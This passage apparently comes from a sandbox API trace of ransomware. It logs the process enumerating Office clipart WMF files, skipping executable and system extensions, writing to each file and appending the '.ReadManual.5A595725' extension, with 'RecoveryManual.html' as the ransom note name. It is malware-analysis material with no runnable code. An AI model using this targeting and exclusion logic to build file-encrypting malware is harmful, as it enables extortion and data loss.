Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.426] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3632) returned 1 [0262.426] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe30, lpName=0x0) returned 0x184 [0262.426] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.427] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.429] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.429] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe30) returned 0x2f0000 [0262.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38309787046) returned 1 [0262.429] CloseHandle (hObject=0x184) returned 1 [0262.429] SetSecurityInfo () returned 0x57 [0262.429] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.429] CloseHandle (hObject=0x194) returned 1 [0262.430] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0262.430] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01140_.WMF" | out: lpString1="DD01140_.WMF") returned="DD01140_.WMF" [0262.430] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.430] StrStrIW (lpFirst="DD01140_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.430] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.430] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.431] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.431] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" [0262.431] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ReadManual.5A595725" [0262.431] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ReadManual.5A595725") returned 87 [0262.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38309976377) returned 1 [0262.431] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0262.432] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.432] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3616) returned 1 [0262.432] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe20, lpName=0x0) returned 0x184 [0262.432] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.433] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.433] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.435] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.435] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe20) returned 0x2f0000 [0262.435] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38310375463) returned 1 [0262.435] CloseHandle (hObject=0x184) returned 1 [0262.435] SetSecurityInfo () returned 0x57 [0262.435] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.435] CloseHandle (hObject=0x194) returned 1 [0262.436] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0262.436] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01143_.WMF" | out: lpString1="DD01143_.WMF") returned="DD01143_.WMF" [0262.436] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.436] StrStrIW (lpFirst="DD01143_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.436] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.436] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.437] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.437] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.437] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.437] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" [0262.437] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ReadManual.5A595725" [0262.437] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ReadManual.5A595725") returned 87 [0262.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38310551174) returned 1 [0262.437] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0262.437] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.437] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2140) returned 1 [0262.437] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85c, lpName=0x0) returned 0x184 [0262.437] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.438] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.438] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.450] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.450] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85c) returned 0x2f0000 [0262.451] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.451] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38311950877) returned 1 [0262.451] CloseHandle (hObject=0x184) returned 1 [0262.451] SetSecurityInfo () returned 0x57 [0262.451] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.451] CloseHandle (hObject=0x194) returned 1 [0262.452] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0262.452] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01145_.WMF" | out: lpString1="DD01145_.WMF") returned="DD01145_.WMF" [0262.452] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.452] StrStrIW (lpFirst="DD01145_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.452] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.453] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.453] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" [0262.453] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ReadManual.5A595725" [0262.453] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ReadManual.5A595725") returned 87 [0262.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38312201308) returned 1 [0262.453] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0262.454] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.454] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2780) returned 1 [0262.454] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xadc, lpName=0x0) returned 0x184 [0262.454] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.455] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.456] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.458] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.458] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xadc) returned 0x2f0000 [0262.458] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38312717698) returned 1 [0262.458] CloseHandle (hObject=0x184) returned 1 [0262.459] SetSecurityInfo () returned 0x57 [0262.459] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.459] CloseHandle (hObject=0x194) returned 1 [0262.460] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0262.460] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01146_.WMF" | out: lpString1="DD01146_.WMF") returned="DD01146_.WMF" [0262.460] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.460] StrStrIW (lpFirst="DD01146_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.460] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.460] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.460] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.460] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.460] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.460] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.461] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.461] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" [0262.461] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ReadManual.5A595725" [0262.461] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ReadManual.5A595725") returned 87 [0262.461] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38312977815) returned 1 [0262.461] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0262.461] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.462] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2796) returned 1 [0262.462] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaec, lpName=0x0) returned 0x184 [0262.462] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.463] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.463] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.465] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.465] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaec) returned 0x2f0000 [0262.466] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.466] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38313455070) returned 1 [0262.466] CloseHandle (hObject=0x184) returned 1 [0262.466] SetSecurityInfo () returned 0x57 [0262.466] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.466] CloseHandle (hObject=0x194) returned 1 [0262.467] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0262.468] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01151_.WMF" | out: lpString1="DD01151_.WMF") returned="DD01151_.WMF" [0262.468] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.468] StrStrIW (lpFirst="DD01151_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.468] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.468] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.468] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" [0262.468] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ReadManual.5A595725" [0262.468] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ReadManual.5A595725") returned 87 [0262.468] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38313723017) returned 1 [0262.469] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0262.469] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.469] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2960) returned 1 [0262.469] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb90, lpName=0x0) returned 0x184 [0262.469] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.470] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.471] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.472] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.473] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb90) returned 0x2f0000 [0262.473] UnmapViewOfFile 